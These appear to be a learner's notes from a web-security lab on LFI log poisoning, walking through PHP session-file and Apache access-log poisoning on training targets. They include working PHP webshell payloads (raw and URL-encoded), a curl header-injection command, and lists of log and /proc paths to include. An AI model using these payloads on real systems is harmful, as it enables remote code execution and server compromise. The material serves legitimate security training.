# Intro - Log poisoning attacks rely on writing PHP code in a field we control that gets logged into a log file (i.e. poison/contaminate the log file), and then include that log file to execute the PHP code - For this attack to work, the PHP web app should have read privileges over the logged files, which vary from one server to another # PHP Session Poisoning - Most PHP web applications utilize `PHPSESSID` cookies, which can hold specific user-related data - These details are stored in `session` files on the back-end, and saved in: - `/var/lib/php/sessions/` on Linux - `C:\Windows\Temp\` on Windows - The name of the file that contains our user's data matches the name of our `PHPSESSID` cookie with the `sess_` prefix - For example, if the `PHPSESSID` cookie is set to `el4ukv0`, then its location on disk would be `/var/lib/php/sessions/sess_el4ukv0` ## Read session file - To initiate this attack we need to examine our `PHPSESSID` session file and see if it contains any data we can control and poison - So, let's first check if we have a `PHPSESSID` cookie set to our session by looking at the `storage` tab whin Firefox's dev tools ![[images/Pasted image 20251220192509.png]] - Here the `PHPSESSID` cookie value is `nhhv8i0o6ua4g88bkdl9u1fdsd`, so it should be stored at `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd` - Let's try to read this session file through the LFI vuln by using the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd ``` ![[images/Pasted image 20251220192613.png]] - As we can see above, the session file contains two values: `page`, which shows the selected language page, and `preference`, which shows the selected language - The `preference` value is not under our control, as we did not specify it anywhere and must be automatically specified - However, the `page` value is under our control, as we can control it through the `?language=` parameter ## Write a custom value to the session file as a test - We can try setting the value of`page` to a custom value to see if it change the session file - We will try the below URL with `?language=session_poisoning` ```url http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning ``` - Now leverage the LFI vuln again to read the session file to determine if our custom value `session_poisonning` is present using the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd ``` - We can see from the below that the custom value shows up in the session file ![[images/Pasted image 20251220193015.png]] ## Write a PHP webshell to the session file - Now we can replace the `session_poisoning` value with a basis PHP webshell using the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E ``` - Again leverage the LFI vuln again to read the session file and also pass also pass a command by appending `&cmd=id` using the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id ``` ![[images/Pasted image 20251220193345.png]] - To execute a different command, we will have to poison the session file with a PHP webshell again - Alternatively we could write a permanent webshell or a revshell for enhanced interaction # Server Log Poisoning - Both `Apache` and `Nginx` webservers maintain various log files, such as `access.log` and `error.log` - The `access.log` file contains various information about all requests made to the server, including each request's `User-Agent` header - Since we control the `User-Agent` header in our requests, we can use it to poison the server logs as we did above - Once poisoned, we need to include the logs through the LFI vuln, which we need to have read-access over the logs to perform - `Nginx` logs are readable by low privileged users by default (e.g. `www-data`) - `Apache` logs are only readable by users with high privileges (e.g. `root`/`adm` groups) - But, in older or misconfigured `Apache` servers, these logs may be readable by low-privileged users - By default, `Apache` logs are located in - `/var/log/apache2/` on Linux - `C:\xampp\apache\logs\` on Windows - Be default, `Nginx` logs are located in - `/var/log/nginx/` on Linux - `C:\nginx\log\` on Windows - However, the logs may be in a different location in some cases, so we may use an [LFI Wordlist](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) to fuzz for their locations ## Use LFI Vuln to Access Apache Logs - Try leveraging the LFI vuln to read the `Apache` access log at `/var/log/apache2/access.log` using the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log ``` - As shown below we can read the log, which contains the `remote IP address`, `request page`, `response code`, and the `User-Agent` header ![[images/Pasted image 20251220194231.png]] - As mentioned earlier, the `User-Agent` header is controlled by us through the HTTP request headers, so we should be able to poison this value - Use `Burp` to intercept the LFI request and change the `User-Agent` header to a custom value as a test such as `Apache Log Poisoning` - As expected, the access log show the custom test value ![[images/Pasted image 20251220194416.png]] - Now use `Burp` to poison the access log with a basic PHP webshell ![[images/Pasted image 20251220194512.png]] - Alternatively we can use `curl` to poison the request by specifying a custom header with the `-H` flag ```bash echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison ``` - As the access log should now contain PHP webshell, the LFI vuln can be used to execute a command by appending `&cmd=id` ![[images/Pasted image 20251220194707.png]] - The `User-Agent` header is also shown on process files under the Linux `/proc/` directory - So, we can try including the `/proc/self/environ` or `/proc/self/fd/N` files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files - This may be useful if, for example, we did not have read access over the server logs ## Alternative Logs  - There are other similar log poisoning techniques that we may utilize on various system logs, depending on which logs we have read access over  - The following are some of the service logs we may be able to read: - `/var/log/sshd.log` - `/var/log/mail` - `/var/log/vsftpd.log` - We should first attempt reading these logs through LFI, and if we do have access to them, we can try to poison them as we did above - For example, if the `ssh` or `ftp` services are exposed to us, and we can read their logs through LFI, then we can try logging into them and set the username to PHP code, and upon including their logs, the PHP code would execute. - The same applies the `mail` services, as we can send an email containing PHP code, and upon its log inclusion, the PHP code would execute - We can generalize this technique to any logs that log a parameter we control and that we can read through the LFI vulnerability # Exercise A - ping test ![[images/Pasted image 20251220195342.png]] - nmap scan ![[images/Pasted image 20251220195403.png]] - visit page ![[images/Pasted image 20251220195453.png]] - select a language and refresh, then view storage tab in dev tools - `PHPSESSID` = `70rrpnckb339dcerecjmh04o2e` ![[images/Pasted image 20251220195640.png]] - Try to read the session file through the LFI vuln by using the below URL ```url http://83.136.253.144:56361/index.php?language=/var/lib/php/sessions/sess_70rrpnckb339dcerecjmh04o2e ``` - We can see some info being leaked in the history box ![[images/Pasted image 20251220195856.png]] ![[images/Pasted image 20251220195906.png]] ## Test - Test writing some test text to see where it is showing up using the below URL ```url http://83.136.253.144:56361/index.php?language=test-test ``` - Read session file using below URL - `test-test` show up after `s:9` ```url http://83.136.253.144:56361/index.php?language=/var/lib/php/sessions/sess_70rrpnckb339dcerecjmh04o2e ``` ![[images/Pasted image 20251220200759.png]] ## Webshell - Try writing a basic PHP webshell to the session file using the below URL ```url http://83.136.253.144:56361/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E ``` - Read the session file again and pass the `pwd` command using the below URL ```url http://83.136.253.144:56361/index.php?language=/var/lib/php/sessions/sess_70rrpnckb339dcerecjmh04o2e&cmd=pwd ``` ![[images/Pasted image 20251220200905.png]] # Exercise B - Try to read the `Apache` access log using the below URL ```url http://83.136.253.144:42408/index.php?language=/var/log/apache2/access.log ``` ![[images/Pasted image 20251220201221.png]] - Use `Burp` to intercept the LFI request and change the `User-Agent` header to a test value ![[images/Pasted image 20251220201451.png]] - Now use `Burp` to poison the access log by inserting a basic PHP webshell into the `User-Agent` header such as `<?php system($_GET['cmd']); ?>` ![[images/Pasted image 20251220202931.png]] - Because the access log should now contain the PHP webshell, the LFI vuln can be used to execute a command by appending `&cmd=id` and clearing the `User-Agent` header - Output to command is shown in third to last log entry (associated with the webshell) ![[images/Pasted image 20251220203148.png]] - Try to list contents of `/` directory, now in fourth to last log entry (associated with webshell) ![[images/Pasted image 20251220203227.png]] - `cat` the unique `.txt` file in the `/` directory, now in fifth to last log entry (associated with webshell) ![[images/Pasted image 20251220203320.png]]